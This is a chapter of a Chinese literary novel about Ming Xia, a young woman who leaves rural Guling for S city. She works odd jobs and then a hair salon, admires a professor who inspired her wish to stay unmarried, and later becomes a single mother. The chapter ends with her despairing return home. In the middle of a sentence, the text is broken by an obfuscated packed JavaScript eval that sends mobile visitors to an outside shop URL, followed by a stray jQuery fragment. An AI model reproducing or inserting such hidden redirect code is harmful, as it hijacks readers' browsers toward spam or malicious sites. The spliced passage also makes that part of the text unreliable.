一个幽灵般的夏夜。


    明霞像一个刚从水里爬出来的小鬼，她半是恐慌半是庆幸。


    她终于离开了古陵。


    辛辣的酒入喉，入鼻，入胃。那一瞬间燃起的灼烧感犹如被风吹起的灰烬，席卷了她整个人，堵住她的口鼻，几乎让她倒溺在酒里。


    她的勇气恰恰与燃烬的余灰相反，节节攀升，被点燃的心火再不肯轻易熄灭。


    一灭，就是一辈子。


    陈芳捣了捣她的胳膊，“想好了？”


    明霞鼻间传出一声闷闷的“嗯”，昏黄的灯光打在她的侧脸，这张过分稚嫩的脸上写满了坚决。


    命运在岔路口，那时的明霞根本看不清正确，哪条路才是正确的路。


    向左，向右。


    明丽狠狠打了她一顿，棍子打在背上，一下又一下。


    她没有发出任何声音，痛哭流涕才是认输。


    “不许去，你给我好好读书。”


    又黑又长的木棍，原本有些粗糙的表层，是她小时候爬过的那棵树。


    明丽砍掉尖锐的枝桠，用砂纸打磨表层，时间久了，木棍变得越来越黑，越来越趁手，也越来越轻。


    那种用作惩戒的工具，往常不会真正地打在明霞身上。


    一种威慑，明丽只要狠狠打过她一次，当那根棍子再次出现时，明霞就会明白，她做错了。


    无言的沉默，也成为对明霞的责难。


    “还喝吗？”


    陈芳嘻嘻哈哈地笑着，“感觉怎么样？想好了就跟姐走，S市那边可多工厂招人了，我那个服装厂就不错。”


    “好。”


    明霞搓了搓手，她用大拇指指尖摩挲着另外四根手指，指甲长的时候干活总会钻进很多泥，她不想让那些泥塞满指甲。


    她不明白为什么再狭小的缝隙也能被苦难填满，仿佛剪不断的牛皮筋，被绑住了就是永远。


    不是牛皮筋，是根。


    一旦扎了根，便再也移不开。从哪里长出来，就注定被那片土地束缚。


    陈芳拍着桌子，同乡的另一个姑娘脸上也浮现出喜色。


    “这就对了，上学哪有挣钱好，大城市机会可多着呢。咱一个庄上的人，姐不会让你吃亏的。”


    姐不会让你吃亏的。


    明霞半夜从家里偷偷溜出来，只带了一个包。


    一路上，她既害怕被明丽发现，被明丽追上来，也担心未来，那什么S市，什么工厂，真的有她们说得那么好？


    明霞终于离开了古陵。


    抵达S市的那一刻，她不再害怕，即便她的头发和衣服都被汗水浸湿，呆愣愣地站在原地，像一个刚从水里爬出来的小鬼。


    她才十八岁。


    天是那么高那么蓝，地是那么平整那么干净。


    陈芳给她买了碎冰，她们说这是S市的特色，甜爽的西瓜和清凉的碎冰滑进她的胃里，融成了一个过分黏腻又爽快的夏天。


    城市里人来人往，明霞只好用两只眼睛紧紧追逐着陈芳的身影。


    她们把她带到了工厂里。


    明霞在阴凉处等消息，门口依稀传出她们说话的声音。


    “你不是说介绍来一个人给四十吗？”


    “我没说过，最多二十。而且现在又不缺人！”


    “我们都把人领过来了，你又说这个？”


    “你去车间看一看，外面的姑娘哪个不是抢破脑袋想进咱们服装厂。”


    陈芳气急败坏地说着，“二十就二十，你总得给人安排工作。”


    “这我可说了不算，得看车间情况。”


    陈芳压不住怒容，见到明霞后勉强扬起嘴角。


    “妹啊，厂里又出了点事，你得等等消息了。”


    同乡的姑娘也跟着对明霞说好话，“你放心，肯定要你的，就是合计合计哪儿缺人。”


    “妹，你先在附近的那个美丽招待所住一晚。有消息了，我们立刻去找你。”


    对未来的期待终究压过了那点微不足道的不安，天真的明霞顺从地点点头。


    她被陈芳她们带到了美丽招待所。


    一连三天没有任何消息。


    她被“骗”来了S市，明霞坐在公园的台阶上，偌大的城市里，她找不到容身之所。


    钱快花完了，她将一无所有。


    她抬头望着酷热到浅白的天空，天不再蓝，风也少得可怜。


    被她努力甩到身后的焦灼与不安，又一次追上了她。


    明霞将掌心温热的汗水胡乱地抹在衣服上，S市那么大，却又那么小，她垂着头，饿着肚子，走回美丽招待所。


    她随意地踢开一颗小石子，就像命运一脚踢开了她。


    她不死心地趴在前台，“美丽姐，今天有人过来找我吗？”


    李美丽懒洋洋地回答道：“没有啊。你看你热得，你又去春风服装厂了？”


    “嗯。”明霞又一次询问，“这附近其她厂子不招工了吗？”


    “是啊，最近人可多了，很多厂里缺少技术工。想站稳跟脚，还是得有一身之长。”


    李美丽瞧着失魂落魄的明丽又耐心提点了一句。


    “谢谢美丽姐。”


    她踩着边缘发亮的石灰楼梯，脚步声一声比一声重。


    见识了那样的繁华，她不想回去了。


    明霞爬上了最后一级台阶，她拽着书包带子，快速转身。


    “我还得出去问问才行。”


    她跑得很快，像一头莽撞的小豹子，还不知道前方等待她的到底是广阔的原野，还是狭隘的笼子。


    李美丽从柜台里的座位起身，朝外瞥了明霞一眼。


    “慢点！”


    如果一时跑得快不能把一切都甩在身后的话，那她就一直跑，一直跑，一直跑。


    跑起来的时候，她首先感觉到热，太阳晒着她的脸颊，薄红是要渍进她的身体里的颜色；其次是流动的汗水，它们向下落，落到她的脖颈里，落到她的嘴巴里，落到的眼睛里；最后是轻柔的风，那些微风到底是因为她跑才流动起来，还是它们本来就要吹向她。


    夏天炽热地在她的身体里流淌，她以为自己可以占有这个夏天。


    明霞跑了一中午。


    她前两天都不敢问，只是在周围来回转，好像再熟悉一点就好了，话就会自己冒出来，她就能留在这里。


    事实证明，把希望寄托在她人身上是没有用的。


    冒着热气的她拎着书包回到了美丽招待所，第三天，她问了两家早餐店和服装店。


    她们都说不需要，已经招到人了。


    说着一口蹩脚普通话的她，回答着别人流利的普通话，那种羞耻感，正逼迫着她直视自己的贫穷和落后。


    “回来了？瞧你热的，来，坐椅子上歇会。”李美丽伸出手，招呼着明霞。


    “嗯。”明霞坐在椅子上，“谢谢……美丽姐。”


    她的双手紧紧拽住书包带子，迫切面临着一个严峻的问题。


    她没有钱了。


    出来的时候，她没带多少钱，是她平时瞒着明丽偷偷攒下来的一点钱。


    想要留下来，总要舍弃一点没有的自尊心和难为情吧。


    这条路不通，就要换另一条路。学习也是那样，一个镇子能有几个人考上大学就不错了，那些人里不包括她。


    她的成绩常年排在中下游。


    那条叫明霞的小鱼游不到前面，跨不过龙门。


    可明丽总是觉得可以，要她好好学习，不可以也要可以。


    “我……”明霞涨红了脸，犹犹豫豫地想要开口。


    李美丽闻声，望向明霞，“怎么了？”


    “那个，我……美丽姐，我现在还没有……”明霞好像突然丧失了表达能力。


    李美丽打断了她，移开视线，语气自然地说着，“钱是吧，没事，等你有了再给我。你的房间还给你留着呢。”


    明霞晕晕乎乎地上了楼，她扒拉着自己的书包，她依稀记得还剩五块钱的。


    她翻着自己的书包，摸到夹层里鼓鼓囊囊的。


    她拉开拉链，五块的、十块的，蓝蓝紫紫，她粗略地数了一下，大概有一百块。


    她粗鲁地将那些钱塞回书包里，又紧紧抱着书包。


    一笔巨款。


    令人厌烦的眼泪在眼眶里翻涌，像汗水一样落在了她的脖颈里，顺着脖子滑进了她的衣服里，但不黏腻。


    也许眼睛就是离不开水，就像鱼离不开水，也许眼泪是鱼吐出的泡泡，也许眼泪是眼睛发出的声音，眼泪落下，只有非常非常非常细微的声音。


    那是心在哭泣的声音，它告诉眼睛，眼睛又告诉了我们。


    明霞抿着嘴巴，倔强地捶了两下地板。


    她喃喃道：“原来你早就知道。”


    “咚咚咚。”


    “小明啊，你同乡来找你了。”


    李美丽的声音隔着门传过来，明霞吸了吸鼻子，她拖着自己的身体，既疲惫又饥饿。


    她今天早上只吃了一个包子。


    李美丽的视线里闯进了一双泛红的眼睛，她装作看不到，温声对明霞说，“去看看吧。”


    明霞飞快地跑下楼，陈芳和另一个同乡，就在楼下。


    她们脸上挂着歉意的笑，“妹妹，真是不好意思，让你等了两天了。”


    明霞冷静地站在陈芳面前，“有着落了吗？”


    “她们说，你可以去纽扣车间里。”


    “多少钱？”


    “一个月两百。”


    明霞执拗地盯着陈芳，“姐，你之前说，一个月至少三百的，你说你们一个月都四五百。”


    同乡讪讪地笑了笑，“那不是情况不一样嘛，这谁能料到？下半年S市放开了限制，遍地都是来打工的。”


    陈芳也跟着说，“是啊妹，有个活干着，总比你再回去强。”


    她们吃准她会答应。


    明霞问陈芳，“俺娘给你说什么了吗？”


    不待陈芳回答，明霞接着说，“俺娘肯定跟你说了什么，还给你钱了吧，让你多照顾着点我。”


    陈芳微愣，“咱们是同乡，妹妹，我对你怎么样，你心里也清楚吧。”


    “车费，还有请我吃碎冰的钱，都是俺娘给你们的吧。她在学校食堂里炒菜，好不容易攒下来的……”


    明霞边说边靠近陈芳，“你还收着春风服装厂的钱吧。两头都有好处，你装得跟多厉害一样。”


    “还钱！”


    “你不还钱，我就去你们厂里闹，我就要报警！我就说你们把我拐到S市里来了，我身份证上还是未成年！”


    明霞用眼神死死地拧着陈芳，“还钱！”


    陈芳没有见过这样的明霞，不再像是需要她们带着、领着的小孩，而是张开羽翼，亮出獠牙，任谁也不能糊弄的幼鹰。


    她心里一惊，和同乡人面面相觑。


    美丽招待所的人打量着她们，李美丽就站在明霞身后，看向她们。


    李美丽略带讥诮地说着，“哟，我说你们怎么回事，原来想糊弄一个孩子，两头讨巧，得好处。”


    明霞的工作泡汤了，但她又得到了五十块。


    她请李美丽吃了一顿饭，也是她来到S市之后吃过最丰盛的一顿饭。


    明霞又开始四处奔波找工作，李美丽托她的姐妹给明霞打听。


    明霞在工地上干了两个月，又去了服装店里上班，店主是李美丽的远房姐姐，她是被李美丽介绍来的。


    她庆幸自己离开了古陵，来到了S市，住在美丽招待所。


    就这样，明霞拥有了人生中的第一份正式工作，她在S市安顿下来。


    可命运总会在下一个岔路口拐弯。


    五年过去，一千八百二十五天，两万六千四百块。


    她二十三岁了。


    第一年，明丽沉默寡言，和往常一样为她准备好了一切，晒干净的被子，暖乎乎的床，可口的饺子。


    第二年，明丽问她怎么样，她只是回答，很好。


    第三年，第四年，第五年，明丽不再问她。


    嘴巴不说话的时候，对视的眼睛里仿佛诉说了一切。


    那几丝关切宛如飞絮糊住了明霞的嗓子。她们一年难得见一次面，明丽的态度也跟着时间的变化逐渐自然。


    越是这样，明霞越觉得自己不能认输。


    长大的第一件事，明霞试图身体力行地告诉明丽，我自己会过得很好。


    她说不出口。


    凌晨被一个电话叫醒，在冷风里卸货。


    店里两个同事明里暗里的排挤，教她学会了看人脸色。


    恶劣的顾客纵容男儿在店里小便，用尽难听的字眼辱骂她。


    说出那些意味着承认自己错了，她绝不承认自己错了，读书不比打工轻松。


    她靠自己就可以闯出一片天。


    每次回到古陵，家里总有人上门，要给她说亲。


    明霞想起同一个胡同里总是挨打的大姨，早早死去的女人就像一阵烟，被不知道从哪儿来的一阵风吹散了。


    为什么人一定要结昏，她在二十一岁开始思考这个问题。


    在她和明丽一年又一年，相互陪伴的时光里，她没有觉得哪里不好，除了同村人和同龄人偶尔投来怜悯的目光。


    那只会让明霞感到厌烦。


    谁是可怜虫？被打被骂被蔑视，被随意许了男人的她们，为什么会觉得她可怜？


    在S市待的时间越长，她越觉得自己不能回去。


    结昏没什么好的，她只想，要是能挣到很多很多钱，拥有一个完完全全属于她的女儿就好了。


    就像她和明丽那样。


    服装店倒闭了。


    因为S市开了好几家大型的批发市场，春风服装厂经营不善，被私人买走重新改组。


    明霞不知道她该庆幸，还是难过。


    转了个弯的命运，并没有绕过她，绕过任何一个本应该绕过的人。


    服装店衣服的质量一般还贵，也跟着理所应当的倒闭了。


    明霞在宿舍收拾她的东西，她点着钱包里的钱，她还有一千五百块。


    她的钱包前几天掉过一次，她的钱包被人捡到，等她好不容易找回来以后，里面的钱全都没了。


    身份证也被别人扔了，只有一个空壳。


    旧钱包开线了，还破皮，看不上是应该的。但那是她用第一份工资买到的特价钱包。


    命运让她流失的东西，也许会在某个时候归还给她。


    只是现在的明霞还不知道。


    她得去找新工作了，先前几天，找到了类似售货员的工作。


    明霞不想再干那样的工作了，她想，她总得学到点真东西才行。


    人的一辈子那么短，一直干销售，总会轻而易举地被取代，跟倒闭的店一样，失业。


    那只能去给人当学徒了。


    饭店拒绝了她，修车行的男老板摆摆手，说只招男学徒，裁缝铺生意不景气，不招学徒。


    街边理发店倒是人满为患，只是，她们让自家亲戚在干。


    明霞好像回到了那个未满十八岁的夏天，黏腻的汗水往往先一步到来，凉爽的风只能后知后觉地追上她。


    她走到了不常来的那条路，繁华的步行街，这里的东西都不算便宜，附近就是大学城。


    人来人往的吵闹声涌进明霞的耳朵里，她抿着嘴，跟着人流往前。


    既然来都来了，也总要看上一看，再离开吧。


    她停在一家理发店门口。


    微微理发屋。


    一个红短发的女人正往玻璃门外张望着，猝不及防间和明霞对视，她下意识扬起一抹笑。


    明霞的视线移开，她盯着门口的红色纸张看了五秒，原本已经抬起脚调转方向的她还是推门进来。


    像是老板的红短发女人忙着给顾客卷发，里面有一个十八九岁的短发女生在给顾客洗头。


    另一侧的沙发上已经坐了好几个人，看上去，生意还蛮红火。


    “来啦？剪剪，还是烫染？”


    很亲切的语气。


    明霞左看右看的视线停在老板身上，“姐，我看你们门口说的招学徒……”


    “嗯，”邓微手上的动作不停，利落又细致地卷着卷，“是，在我这儿当学徒得至少干满一年，不然你得付学费。”


    “包吃住，没工资。”


    比明霞之前听过的待遇好多了，她在心底松了一口气。


    “姐，没问题。那你看我行吗？”


    邓微看也不看，只是随口应下，“好啊。你先跟小高学一下洗头吧。等不忙的时候，让小高给你介绍一下。”


    “小高在里面给客人洗头呢，你去看看。”


    头发上插满卷的客人侧头瞥了明霞一眼，“微微，你这两句话就定下了一个学徒，可真行。”


    “唉，这是吧，主要还是看情况，总得先学习一下，才知道合不合适。”


    邓微拿起一旁的毛巾围在客人脖子上。


    焗油的味道很重，地上还有很多散乱的毛躁黑发，店里只有客人的面前有两个小风扇，朝上吹。


    被邓微称作小高的女孩子领着客人出来，“微姐，洗好了。”


    “行，我马上剪啊。小高，你和这个……”


    “明霞。”


    邓微转过身，又对着明霞笑了。


    “你和这个明霞熟悉熟悉，你告诉她怎么给客人洗头。”


    明霞豪不局促地跟小高打了个招呼，许是她的示好起了作用，小高很热情地将她领到洗头池前面，叽叽喳喳讲解着。


    小高叫高天晨，是邓微的远房妹妹。


    有眼力劲儿的明霞见缝插针地给邓微帮忙，邓微心里对明霞很满意。


    “明霞，到时候小高收拾一下楼上的房间，你们俩一起住楼上就行。”


    客人都走了，邓微坐在沙发上，对着明霞说。


    小高笑眯眯地应下。


    “微姐，我明天搬过来。”


    明霞用扫帚将地上的黑发都扫走，邓微和小高都是不难相处的人，她觉得留下来是个很不错的选择。


    退一万步说，实在不行，她还可以回到古陵开一家理发店。


    “叮铃。”


    门铃响了，她撞进了一双带着温润笑意的眼睛，来人推了推金丝框眼镜，侧身给明霞让开路。


    明霞愣了一愣，身后邓微的声音飘了过来。


    “哟，好久没见你了！”


    祝明华笑道：“我每隔一段时间都过来，怎么就成好久没见了。”


    “那许是我想你了！”


    “我看也是。”


    她们哈哈大笑，有些旁人插不进去的默契。


    两人的语气熟稔，似乎不仅仅是老板跟熟客，还是关系不错的朋友。


    那是明霞第一次见祝明华，这个比她母亲小一些的女性。


    第二次见祝明华，那是明霞在邓微的允许下第一次给客人洗头，祝明华欣然答应了邓微的请求。


    明霞只觉得自己的手在颤抖，不是因为第一次而感到不安，是因为对象是祝明华。


    从小高的嘴里，明霞第一次知道原来有人可以这样过一辈子。


    祝明华是大学教授，她爱干净，注意形象，每隔一段时间总会来微微理发屋，从邓微上一年刚开店的那会，她们就认识了。


    她会给邓微和小高带礼物，她待人温和，不会忽视明霞。


    明霞从她那里学到了不昏主义。


    “怎么了？”


    祝明华察觉到明霞的迟疑，低着头开口询问道。


    明霞的脸颊微微泛红，她随意找了个借口，“我就是，有些紧张……”


    因为是你，她才总担心自己表现得不好。


    “没关系，免费给洗头，我要是还怪你，那下次再来，微微可得调侃我了。”


    明霞用水瓢舀了热水，用手指感受了温度后，又缓缓浇在祝明华头上。


    “明华姐，你要是有哪里不舒服的，就直接告诉我。”


    得到肯定的回应后，明霞挤了洗发水，轻轻地在祝明华头上揉搓，松软的泡沫蓬蓬的，好像她的心也跟着这样的泡泡一起变得轻盈。


    “你做得很好。”


    明霞开心了三天，她不知道自己到底是因为得到了认可而感到开心，还是因为得到了自己崇拜对象的认可而感到开心。


    一个冬日的夜晚，明霞和小高准备关


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222360|192923||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门。


    小高有些抱怨，“都没有几个人，街口新开了一家理发店，剪发比咱们这儿便宜，真不明白这些人放着辛苦钱不赚是要干什么。”


    “而且，微姐又让咱们必须营业到八点。”


    邓微下班走了，小高才敢这么说。


    在明霞之前也有一个学徒，只是没干多久就慊弃太累，不干了。


    现在可轻松太多了，但总归没有钱。


    “叮铃。”


    是祝明华。


    “我没来晚吧？”


    她脸上带着一丝疲惫，寒气不断地从门缝中钻进来，她的指尖发红。


    小高眼里闪过一抹亮色，“华姐，你过来剪头发？”


    祝明华摇了摇头，“我在风城路那边捡到了明霞的身份证！”


    她从口袋里掏出明霞的身份证，“说起来也奇怪，我天天从那儿过，没注意过，今天下午一低头看见灌木丛里边边角角藏着一张卡片。”


    “我捡起来才发现是你的。”


    兜兜转转，她的身份证又回到了她的手里。


    “谢谢……明华姐。”


    那个夜晚，明霞说什么也要请祝明华吃夜宵。


    她第一次看到吸烟的祝明华。


    小摊的另一侧，穿着黑色大衣的祝明华避开摊子上明亮的光线，她的脸藏在黑夜里，食指和中指之间夹着一根烟，零星的火光明明灭灭，离她的手指越来越近。


    明霞隔着烟雾看向祝明华，恍惚间觉得祝明华才是令人看不分明的雾。


    她看不清祝明华的脸，她拎着吃食走到祝明华面前，仿佛站在冰面上穿透层层迷雾，她忍不住咳嗽了两声，呼出几口白气，和深灰色的烟丝混在一起。


    祝明华才发觉，她平淡的眉眼有了波动，视线也跟着聚焦在明霞身上，她按灭香烟，“不好意思。”


    明霞问：“好了，明华姐，吃点吧。”


    她根本就不了解她，她只是有一些关于她的欲望。


    想拥有祝明华那样的生活，想成为祝明华那样的人，想像祝明华一样从容不迫。


    原来真的有人在过她理想中的生活。


    她逃不开的命运，早就已经有人逃开了。


    明霞摇头，“没事的，明华姐。”


    她们一起漫步到附近的公园，路灯拉出她们长长的影子，重叠在一起，只读到高中的明霞和身为大学教授的祝明华正肩并肩走在一起。


    这样的认识显然让明霞感到不可思议。


    “明华姐，你心里有什么事吗？我看你，好像不太开心。”


    她犹犹豫豫问出了这样的问题。


    “是啊，”祝明华说得肯定，轻而易举地对着明霞说出了自己的困惑，“亲戚家的女孩没人管，我不知道该不该收养她。”


    大部分人都把昏育联系在一起，而对于祝明华来说，这完全是两件事，不昏也不育。


    想起那个女孩渴求的眼神，那种拼尽全力也要抓住未来的眼神。


    祝明华惶恐自己的生活要被打破，又期待这个女孩能够继续读书，过上她想过的人生。


    一个十岁出头、母父双亡的女孩。


    “明华姐，你想收养她，对吧？”


    明霞转过身，定定地看着祝明华，用肯定的语气说着猜测的话，想看透祝明华内心真实的想法。


    人一旦开始犹豫，那这件事就不再是可有可无，已经开始衡量得失，也许还是说明有所期待。


    至少，至少祝明华在认真考虑。


    祝明华弯了弯嘴角，“是啊，养一个孩子可不容易呢。明霞，你想过你的未来吗？”


    这是她们第一次讨论未来，在一个没有月亮的夜晚。


    她们的脚步声清晰地在耳边回响，明霞踢开脚边的一颗小石子，她回答，“我要留在S市。”


    “明华姐，我不想结昏，但我想有一个女儿。”


    祝明华略微诧异地看向明霞，侧着头，“明霞，这是我第一次听到你说这种话。”


    明霞能吃苦，情商高，祝明华挺喜欢这个活泼好强的姑娘。


    “你想好了吗？”


    迎着冷风，明霞缩了缩脖子，和祝明华坐在公园的椅背上，小吃还冒着热气，她咬着炸串。


    “嗯。我不想和一个男人组建家庭，光是想想那样的日子，我说的话没有任何用处，我要在别人家里做活，我就很烦。”


    “我很小的时候，我爹就死了，我和我妈……过得很好，没什么区别。我在书里看到过，有一篇课文，讲葱花的。”


    她递给祝明华一串土豆片，又接着说，“具体写了什么我忘了。但里边说，许多女人一辈子都像葱花一样，被种出来，被切开，被扔掉，被吃掉，被丢进土里再长出来。”


    “我不想回到古陵，我要是有一个女儿的话，她就不会像我一样，她会在繁华的城市里长大，长大后有稳定的工作，再生一个女儿。”


    祝明华转着手边的土豆片，她温声说，“明霞，你不会是葱花，你妈妈不是，你不是，如果你有女儿的话，她也不会是。”


    好几年前，她写过一篇散文，叫《葱花》。


    这篇很有争议的文章，被选进了高中语文课本里，只有一年，就又撤掉了。


    葱花的隐喻等来了真正读懂它的人，破土而出的从不只是花，又或者是菜，可以是石头，可以是树，可是蝉。


    只是，它们在等时间。


    时间过得很快，明霞后来很少见到祝明华，再一次见到祝明华的时候，她手里牵了一个女孩。


    祝鹏程。


    那也是祝明华取的名字，鹏程万里，多好的名字。


    明霞学会了剪一些简单的发型，也试着上手剪了几个人。


    她本以为日子会越过越好，但意外总是令人措手不及，邓微生病了，理发店要关门了。


    当邓微在她面前倒下的那一刻，明霞的大脑一片空白，锋利的剪刀划破了她的手掌，她像一团棉花那样软弱无力，手心里渗出细微的鲜血，她紧紧攥着剪刀，边缘处的粉肉翻转，她忘记了疼。


    邓微住院了。


    邓微躺在病床上，她苍白的脸上扯出一抹笑，淅淅沥沥的阵痛刺着人的神经。


    小高在病床一侧也哭得淅淅沥沥，邓微说不出太多的话了，她最后只能笑着拍了拍她们的手。


    祝明华带着邓微最后看了一次朝霞。


    那天的朝霞是那么那么红，像火苗，可以烧尽一切，染遍晨间的雾气。


    邓微抬起指尖，她指了指霞光，又指了指明霞。


    她笑着说，“这真像你啊，明霞。从见你第一眼，我就知道你和祝明华大抵是一样的人，心里藏着一团火一样的人。”


    邓微没有什么亲戚，她不是一阵烟，她是一阵凉爽的急风，她托着三个风筝往上走，虽然她们各自奔赴了各自的天空。


    那是明霞第一次离死亡那么近。


    后来。


    二十五岁的明霞告别了调走的祝明华，告别了回老家的高天晨。


    她有了一个女儿。


    她回到了明丽身边，生气的明丽指着她，最终只说了一句话。


    “你看看有哪个女孩跟你一样？”


    明霞不在乎，她日复一日地磨着明丽，“娘，你难道不想要个孙女吗？”


    “娘，你孙女肯定随你，没准以后能考上大学，当大官呢。”


    “娘，你说咱们给她起个什么名字好？”


    明霞为了缓和关系，把命名权让给了明丽，她们翻遍字典，找到了一个字——蕴。


    明蕴。


    自打明蕴出生后，明霞照顾了她半年多，那软乎乎的小脸蛋让人的心也跟着一起融化。


    明丽欢喜得不得行。


    明霞又要走了，她要挣很多很多钱，她要把女儿和母亲都接到大城市里来。


    明霞当销售，又试着自己摆摊剪头发，卖衣服。虽然保住了本钱，但也没挣到多少钱。


    她又去酒店打工，被辞退。


    那年明蕴五岁，明丽也越来越老。


    她再也联系不上祝明华和高天晨，她所有的时间都在忙着挣钱，她忘记了太多东西，也忘记了她的初心。


    明丽脸上的皱纹越来越多，即便退休了也闲不住，明蕴一天天越长越大，就快该上学了。


    她们过了很长很长时间才能见到一面，每次见面，明蕴总是对她爱搭不理，明丽总是为她忙前忙后。


    明霞有时候会恨自己，也许是她太没用了，她变成了另一种她没有想过的样子。


    她在一个不合适的时机选择离开古陵，选择生下女儿。


    明明天空那么大，那么大，可是她为什么还是没有靠自己闯出一片天呢？


    她跟着刘姐去做生意，被人骗了。


    失败最不值得一提，越是把生意当作唯一的救命稻草，那根救命稻草越可以轻而易举地压断她。


    记忆里那个最后的夏天过于漫长，既闷热又黏腻，被缠上了，就是一辈子。


    谁在她不注意的时候，偷偷溜走了？


    是明丽。


    原来是明丽。


    她还是在跑，只是方向变了。


    到底是谁画了一个圈，她跑了那么远才发现，她一直在用为数不多的时间绕圈子。


    她逃离了明丽带给她的命运，还是逃不掉她的命运。


    后悔吗？


    夏夜的微风吹着她干涩的眼睛，她毫无根由地落下了一滴泪。


    只有一滴。


    顺着她的眼角藏进她的头发里，混杂着汗水，消失不见。


    明蕴还在等她，那孩子才最应该怪她。


    赶不上了，无论她能跑多快，无论她能跑多久，她永远也赶不上。


    明霞的眼睛红得像那一天的朝霞，她和邓微、祝明华一起看过的朝霞。


    谁能告诉她，她的明天在哪里？


    对不起。


    可是再也没有“没关系”。


    明霞终于回到了古陵，她又一次沉溺在酒里，任由泪水和血痕在她身上流淌。


    明霞像一个刚从水里爬出来的大鬼，她半是恐慌半是悲伤。


    那是一个幽灵般的夏夜。


    从她身上经过的，不止有时间。